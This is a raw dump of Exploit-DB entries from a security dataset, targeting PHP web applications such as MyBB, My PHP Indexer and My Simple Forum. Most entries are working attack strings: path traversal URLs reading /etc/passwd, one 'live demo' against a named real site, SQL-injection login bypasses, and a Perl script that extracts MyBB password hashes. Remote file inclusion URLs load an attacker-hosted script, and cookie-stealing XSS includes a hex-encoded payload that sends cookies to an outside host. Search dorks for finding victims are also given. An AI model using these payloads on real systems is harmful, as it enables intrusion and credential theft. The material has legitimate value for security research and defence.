deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6740
Description: My PHP Indexer 1.0 - 'index.php' Local File Download
Type: webapps
Platform: php
Date: 2008-10-12
Author: JosS

Exploit:
# My PHP Indexer 1.0 (index.php) Local File Download Vulnerability
# url: http://sourceforge.net/projects/myphpindexer/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

-----------------------------------------------
Depending the server configuration is possible 
that it doesn't allow us to scale directories.
-----------------------------------------------

vuln file: index.php

PoC:     /index.php?d=[DIR]&f=[FILE]
Exploit: /index.php?d=../../../../../../../../../../../etc/&f=passwd
         /index.php?d=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/&f=passwd

live demo:
[PATH] = ../../../; (%2e%2e%2f%2e%2e%2f%2e%2e%2f)
[FILE] = index.php;
http://www.bethesda.org.sg/resources/admin/index.php?d=%2e%2e%2f%2e%2e%2f%2e%2e%2f&f=index.php

dork:     "Powered by My PHP Indexer 1.0"
dork (2): "priv8 :P"

# milw0rm.com [2008-10-12]
Exploit-DB #41102
Description: My Private Tutor Website Builder Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: My Private Tutor Website Builder Script
# Script Buy Now: http://www.popularclones.com/products/My-Private-Tutor-Website-Builder
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/page.editor.php?id=[SQL]
# http://localhost/[PATH]/admin/add_cat.php?id=[SQL]
# http://localhost/[PATH]/admin/add_subcat.php?id=[SQL]
# http://localhost/[PATH]/find_group_class.php?cat_id=[SQL]
# http://localhost/[PATH]/join_class.php?course_id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #41043
Description: My Private Tutor Website Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Admin Login Bypass & SQLi
# Date: 13.01.2017
# Vendor Homepage: http://scriptfirm.com/
# Script Name: Professional Service Booking Script
# Script Buy Now: My Private Tutor Website
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #7342
Description: My Simple Forum 3.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-04
Author: cOndemned

Exploit:
/*

	$Id: mysimpleforum-3.0-lfi.txt,v 0.1 2008/12/04 23:03:00 cOndemned Exp $

	My Simple Forum 3.0 (index.php action) Local File Inclusion Vulnerability
	Bug discovered by cOndemned

	Script download: http://drennansoft.com/index.php?action=download&id=1

	Greetz: ZaBeaTy, str0ke, d2, TBH, Avantura

*/


Source of index.php:

	49.	if(file_exists('site/'.$_GET['action'].'.php')) {
	50.	include('site/'.$_GET['action'].'.php');
	51.	} else {
	
	local file inclusion on line 50
	

Proof of concept:

	http://[host]/[my_simple_forum_path]/index.php?action=../../../../../../../etc/passwd%00
	http://[host]/[my_simple_forum_path]/index.php?action=../../../../[localfile]%00

# milw0rm.com [2008-12-04]
Exploit-DB #31468
Description: My Web Doc 2000 Administration Pages - Multiple Authentication Bypass Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-22
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28400/info

My Web Doc is prone to multiple authentication-bypass vulnerabilities.

Attackers can leverage these issues to compromise the application, which could aid in other attacks.

My Web Doc 2000 Final is vulnerable; other versions may also be affected. 

http://www.example.com/mywebdocadd.php3?x
http://www.example.com/mywebdoccalendaradd.php3?x
http://www.example.com/mywebdoclisting.php3?x
http://www.example.com/mywebdocchangepassword.php3?x
http://www.example.com/mywebdocadduser.php3?x
http://www.example.com/mywebdocuserlisting.php3?x
Exploit-DB #28686
Description: My-BIC 0.6.5 - 'Mybic_Server.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20208/info

My-BIC is prone to a remote file-include vulnerability because these applications fail to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This BID is being retired because further analysis reveals that this issue is not exploitable.

http://www.example.com/[path]/[path]/mybic_server.php?file=attacker's site
Exploit-DB #22378
Description: MyABraCaDaWeb 1.0 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-03-17
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/7126/info

MyABraCaDaWeb is reported to disclose path information in error messages when handling some invalid requests. This information could be useful in further attacks against a system hosting the software.

http://www.example.com/index.php?IDAdmin=test

http://www.example.com/index.php?base=test

http://www.example.com/index.php?tampon=test

http://www.example.com/index.php?SqlQuery=test
Exploit-DB #2335
Description: MyABraCaDaWeb 1.0.3 - 'base' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-08
Author: ddoshomo

Exploit:
#  ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
#  MyABraCaDaWeb v1.0.3 - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=272
 
# Script  :  MyABraCaDaWeb v1.0.3
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, Blackened, Di_lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/index.php?base==[shell]
 
     http://www.site.com/[path]/pop.php?base=[shell]

# milw0rm.com [2006-09-08]
Exploit-DB #2747
Description: MyAlbum 3.02 - 'language.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-09
Author: Silahsiz Kuvvetler

Exploit:
#==============================================================================================
#MyAlbum <= 3.02 (langs_dir) Remote File Inclusion Vulnerability
#===============================================================================================
#
#Critical Level : hm...i think...
#
#Script Dowload : http://www.comscripts.com/jump.php?action=script&id=1731
#
#Version : 3.XX (maybe others...)
#
#================================================================================================
#
#Bug in :
#
#./language.inc.php
#================================================================================================
#
#Vulnerable Code :
#
#
#         include($langs_dir."/messages.".$lang.".php");
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[MyAlbum_DIR]/language.inc.php?langs_dir=http://evilsite.com/evilscript.txt?
#
#
#================================================================================================
#Discoverd By : Silahsiz Kuvvetler The TURKISH DEVELOPER
#
#Contact : co-type[at]hotmail[dot]com
#
#GreetZ : |FATTALGAZI!| - |MADWORM| - |NARCOTIC| - |MR.TROJAN| - |TILKIANDRE| - |EDORAS| - | XVCX |
#
#AND ALL STARHACK USERZZ...
#
#Special Thanqs : str0ke - 0xyGen
#
#Reklam Kokan Hareket :d ===>>>>>>>>>>>>>>>>>> WWW.STARHACK.ORG <<<<<<<<<<<<<<<<<<=======
#
#==================================================================================================

# milw0rm.com [2006-11-09]
Exploit-DB #39290
Description: MyAwards MyBB Module - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-08-22
Author: Vagineer

Exploit:
source: https://www.securityfocus.com/bid/69386/info

MyAwards module for MyBB is prone to a cross-site request-forgery vulnerability.

An attacker may exploit this issue to perform certain unauthorized actions. This may lead to further attacks.

Versions prior to MyAwards 2.4 are vulnerable. 

https://www.example.com/forum/admin/index.php?module=user-awards&action=awards_delete_user&id=1&awid=1&awuid=2
https://www.example.com/forum/admin/index.php?module=user-awards&action=awards_delete_user&id=1&awuid=1
Exploit-DB #2285
Description: MyBace Light - 'login_check.php' Remote File
Type: webapps
Platform: php
Date: 2006-09-01
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ MyBace Light (hauptverzeichniss) Remote File Inclusion
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/384/MyBace_Light_(hauptverzeichniss)_Remote_File_Inclusion.htm
+--------------------------------------------------------------------
+
+ Affected Software .: My Bace Light
+ Venedor ...........: http://www.onlinemacher.de/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Affected Files:
+  includes/login_check.php
+           var: $hauptverzeichniss
+
+  admin/login/content/user_daten.php
+           var: $template_back
+
+--------------------------------------------------------------------
+
+ $hauptverzeichniss & $template_back is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Deny direct access to these files using a .htaccess-file
+ or modify code:
+
+ if(!isset($_REQUEST['hauptverzeichniss']) &&
!isset($_GET['hauptverzeichniss'])
+     && !isset($_POST['hauptverzeichniss'])){
+ //code of org. *.php
+ }
+ else {
+ echo "You cannot access this file directly.";
+ die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/includes/login_check.php?hauptverzeichniss=[shell]
+
+--------------------------------------------------------------------
+
+ Notice: I've tried to contact venedor 3 weeks ago, but no answer yet...
+
+
+ Greets: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-09-01]
Exploit-DB #9365
Description: mybackup 1.4.0 - File Download / Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-08-05
Author: SirGod

Exploit:
###############################################################################################
[+] MyBackup 1.4.0  Remote File Inclusion (AFD/RFI) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
################################################################################################

[+] Download Script : http://www.tufat.com/files_lgpl/script_96.zip

[+] Arbitrary File Download

 - PoC

     http://127.0.0.1/down.php?filename=../../../../../../boot.ini

[+] Remote File Inclusion

 - You must be logged in.

     http://127.0.0.1/index.php?main_tabid=1&main_content=http://evilsite.com/evilscript.txt

################################################################################################

# milw0rm.com [2009-08-05]
Exploit-DB #26204
Description: MyBB - 'member.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-29
Author: W7ED

Exploit:
source: https://www.securityfocus.com/bid/14684/info

MyBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

#!/usr/bin/perl -w
use LWP::Simple;
## Vitem ##
        if(!$ARGV[0]){
                print "############# MyBB Member.php SQL Injection ##############\n";
                print "##                Coded By               #\n";
                print "##################################################  ########\n";
                print "## [+] Bug By W7ED  - W7ED[at]hotmail.com #\n";
                print "##################################################  ########\n";
                print "#           Exmp:- perl file.pl mybb.net /mybb userid    #\n";
                print "##################################################  ########\n";
                exit;
        }
###########

my $host = 'http://'.$ARGV[0];

## User ID ##
        if(!$ARGV[1]){
                $ARGV[1] = 1;
        }
#############

my $userid = $ARGV[1];

print "[*] Trying $host\n";

## Forum Path ##
        if(!$ARGV[2]){
                $ARGV[2] = '/';
        }
################

$url = "$ARGV[2]/member.php?action=profile&uid=lastposter&fid=-1,') UNION SELECT
password,password,password,password,password,passw  ord,password,password,password,password,password,p
assword,password,password,password,password,passwo  rd,password,password,password,password,password,pa
ssword,password,password,password,password,passwor  d,password,password,password,password,password,pas  sword
FROM users WHERE uid=$userid/*";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
        $page =~ m/mySQL error: 1054<br>Unknown column '(.*?)'/ && print "[+] User ID Is $userid And Hash Is :
$1\n";
print "[-] Unable to retrieve Hash\n" if(!$1);
Exploit-DB #26990
Description: MyBB 1.0 - 'Globa.php' Cookie Data SQL Injection
Type: webapps
Platform: php
Date: 2005-12-29
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16082/info

MyBB is prone to an SQL injection vulnerability.

The vulnerability presents itself when user-supplied input via cookie data is passed to the 'admin/globa.php' script.

Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.

MyBB 1.0 is reportedly vulnerable. 

string expcookie="imei'" //garbrage field that actually is not an uid + an inject sign +" union select '1' as uid," //return no admin union our sniffed admin +" '','','','xxx'as loginkey ,"//we have not any info! so null them; only login key cheked that we fill with xxx +" '','','','',"//null fields befor usergroup +" 4 as usergroup";// ok! our sniffed admin is an admin : D !! for (int i=0;i< 49;i++) expcookie+=",''"; //null all of other fields!expcookie+="-- imei" // remark rest of SQL +"_xxx" ;
Exploit-DB #27122
Description: MyBB 1.0.1/1.0.2 Notepad - 'usercp.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-01-24
Author: Roozbeh Afrasiabi

Exploit:
source: https://www.securityfocus.com/bid/16361/info

MyBB is prone to an HTML-injection vulnerability. This issue is due to a lack of proper sanitization of user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

The following proof of concept is available:

http://www.example.com/usercp.php?action=notepad

notepad=&lt;/textarea&gt;<script>alert(document.cookie)</script>
Exploit-DB #27137
Description: MyBB 1.0.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-26
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16387/info

MyBB is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/mybb/search.php?action=do_search&keywords=&postthread=1&author=imei&matchusername=1&forums=all&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby="><script
language=javascript>alert(document.cookie)/script>&sorder=1&showresults=threads&submit=Search
Exploit-DB #27240
Description: MyBB 1.0.2/1.0.3 - 'Managegroup.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-16
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16689/info

MyBB is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

An attacker can exploit this issue to bypass the authentication mechanism and gain access as an arbitrary user.

http://www.example.com/mybb/managegroup.php?gid=8&action=do_joinrequests&request[sql]=accept


http://www.example.com/mybb/managegroup.php?gid=8'sql&action=joinrequests


http://www.example.com/mybb/managegroup.php?gid=8sql&action=do_manageusers

&removeuser[]=â??sql


http://www.example.com/mybb/managegroup.php?gid=8'sql
Exploit-DB #27242
Description: MyBB 1.0.3 - 'Managegroup.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-16
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16692/info

MyBB is prone to a cross-site scripting vulnerability.. This issue is due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 1.0.3 is vulnerable; other versions may also be affected.

http://www.example.com/mybb/managegroup.php?gid=8'//<script>alert(1)</script>
Exploit-DB #27167
Description: MyBB 1.0.3 - 'moderation.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-07
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16538/info

MyBB is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site, modify data, or exploit vulnerabilities in the underlying database implementation. Other attacks may also be possible.

Note that an attacker must have sufficient message moderation and merging privileges to exploit this vulnerability.

MyBB version 1.0.3 is reported to be vulnerable.

http://www.example.com/mybb/moderation.php?posts=[firstpid]|[secondpid]?[SQL]
&tid=[containertid]&action=do_multimergeposts&sep=hr
Exploit-DB #27236
Description: MyBB 1.0.3 - 'private.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-02-15
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16678/info

MyBB is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site, modify data, or exploit vulnerabilities in the underlying database implementation. Other attacks may also be possible. 


MyBB version 1.0.3 is reported to be vulnerable.

http://www.example.com/mybb/private.php?action=do_folders&folder['<strong>sql</strong>]=nomatter
http://www.example.com/mybb/private.php?action=do_folders&folder['<strong>sql</strong>]
http://www.example.com/mybb/private.php?action=do_stuff&delete=1&check['<strong>sql</strong>]
Exploit-DB #27155
Description: MyBB 1.0/1.1 - 'index.php' Referrer Cookie SQL Injection
Type: webapps
Platform: php
Date: 2006-01-31
Author: Devil-00

Exploit:
source: https://www.securityfocus.com/bid/16443/info

MyBB is prone to an SQL-injection vulnerability.

The vulnerability presents itself when user-supplied input via cookie data is passed to the 'index.php' script.

Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.

MyBB 1.1.2 and prior versions are reported vulnerable to this issue. 

http://www.example.com/index.php?referrer=[PII_REDACTED]'%20UNION%20SELECT%20password,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,
9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*
Exploit-DB #27667
Description: MyBB 1.1 - Global Variable Overwrite
Type: webapps
Platform: php
Date: 2006-04-17
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/17564/info

MyBB is prone to a vulnerability that permits an attacker to overwrite global variables. This issue is due to a design flaw in handling HTTP GET and POST variables.

An attacker can exploit this issue to overwrite the global variables with arbitrary input. Through control of the global variables, the attacker may be able to perform cross-site scripting, SQL-injection, and other attacks.

http://www.example.com/mybb/global.php?_SERVER[HTTP_CLIENT_IP]=â??sql
Exploit-DB #27843
Description: MyBB 1.1.1 - 'showthread.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-09
Author: Breeeeh

Exploit:
source: https://www.securityfocus.com/bid/17904/info

MyBB is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful attack could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

MyBB 1.1.1 is reported to be affected to this issue. Other versions may be vulnerable as well.

http://www.example.com/showthread.php?...$comma=[SQL]
Exploit-DB #28429
Description: MyBB 1.1.7 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2006-08-26
Author: Redworm

Exploit:
source: https://www.securityfocus.com/bid/19718/info

MyBB is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Version 1.1.7 is vulnerable; other versions may be affected.

&3c%73%63%72%69%70%74%3e%69%6d%67%20%3d%20%6e%65%77%20%49%6d%61%67%65%28%29%3b%20%69%6d%67%2e%73%72%63%20%3d%20%22%68%74%7
4%70%3a%2f%2f%77%77%77%2e%68%61%79%6c%61%7a%6c%61%72%2e%6f%72%67%2f%73%6e%69%66%66%65%72%2f%73%2e%70%68%70%3f%22%2b%64%6f%
63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e